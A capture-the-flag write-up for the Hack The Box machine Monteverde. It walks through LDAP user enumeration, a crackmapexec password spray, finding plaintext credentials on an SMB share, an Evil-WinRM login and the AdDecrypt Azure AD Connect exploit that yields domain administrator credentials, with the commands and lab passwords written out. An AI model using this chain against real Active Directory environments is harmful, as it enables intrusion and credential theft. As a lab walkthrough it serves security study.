Monteverde

https://app.hackthebox.com/machines/Monteverde

Nmap

sudo nmap 10.10.10.172 -p- -sS -sV                                                                       

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-03-21 13:29:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
53501/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Add "10.10.10.172 megabank.local" to /etc/hosts.

Starting out again LDAP we fire off a few nmap scripts with null credentials.

nmap -n -sV -Pn --script "ldap* and not brute" '10.10.10.172'

This returns a large amount of information. This time, we can utilize ldapsearch to grep for userPrincipalName's

ldapsearch -x -h '10.10.10.172' -D '' -w '' -b "DC=megabank,DC=local" | grep userPrincipalName | sed 's/userPrincipalName: //' | sort

With valid user accounts we check them against Impacket's GetNPUsers.py for any accounts that may have "Do not require kerberos preauthentication" enabled. As shown below we have zero valid results.

Using crackmapexec we can spray the known usernames against themselves, looking for weak passwords against SMB.

crackmapexec smb 10.10.10.172 -u ~/monteverde/Users.txt -p ~/monteverde/Users.txt 

Which returns valid credentials for the account SABatchJobs.

Credentials

SABatchJobs:SABatchJobs

Using smbmap with our new found account we see we have read access to the non default share "users$". Of which, the share contains a file of interest azure.xml under the user mhope.

smbmap -u SABatchJobs -p SABatchJobs -H 10.10.10.172 -R

The file fortunately has clear text credentials.

Credentials

mhope:4n0therD4y@n0th3r$

Checking the credentials against Evil-WinRM gives us a valid login to the target system.

evil-winrm -u mhope -p 4n0therD4y@n0th3r$ -i 10.10.10.172

Once logged in, we can check the group memberships for the account mhope. Noticing the user is a member of "Azure Admins" is of interest.

Further basic enumeration shows Azure AD Connect is installed.

Azure AD Connect is used to synchronize on premise AD identities and passwords up to Azure AD (AAD) and vice versa.

Azure AD Connect provides the following features:

• Password hash synchronization - A sign-in method that synchronizes a hash of a users on-premises AD password with Azure AD.
• Pass-through authentication - A sign-in method that allows users to use the same password on-premises and in the cloud, but doesn't require the additional infrastructure of a federated environment.
• Federation integration - Federation is an optional part of Azure AD Connect and can be used to configure a hybrid environment using an on-premises AD FS infrastructure. It also provides AD FS management capabilities such as certificate renewal and additional AD FS server deployments.
• Synchronization - Responsible for creating users, groups, and other objects. As well as, making sure identity information for your on-premises users and groups is matching the cloud. This synchronization also includes password hashes.
• Health Monitoring - Azure AD Connect Health can provide robust monitoring and provide a central location in the Azure portal to view this activity.

Researching possible exploits with Azure AD Connect I came across the following blog post from VBscub, as well as tool to grab the plain text credentials stored in Azure AD Connect .

VBscrub: https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

Github: https://github.com/VbScrub/AdSyncDecrypt

Download the exploit and uploaded the contents to mhope's Documents directory.

upload /home/kali/AdDecrypt.exe
upload /home/kali/mcrypt.dll

Then change directory to "C:\Program Files\Microsoft Azure AD Sync\Bin". From here execute the AdDecrypt.exe from mhope's Documents directory.

cmd.exe /c c:\users\mhope\documents\AdDecrypt.exe -fullSQL

Which gives us the domain administrator credentials.

Credentials

administrator:d0m@in4dminyeah!

Where we are able to log in with Evil-WinRM and grab the root flag.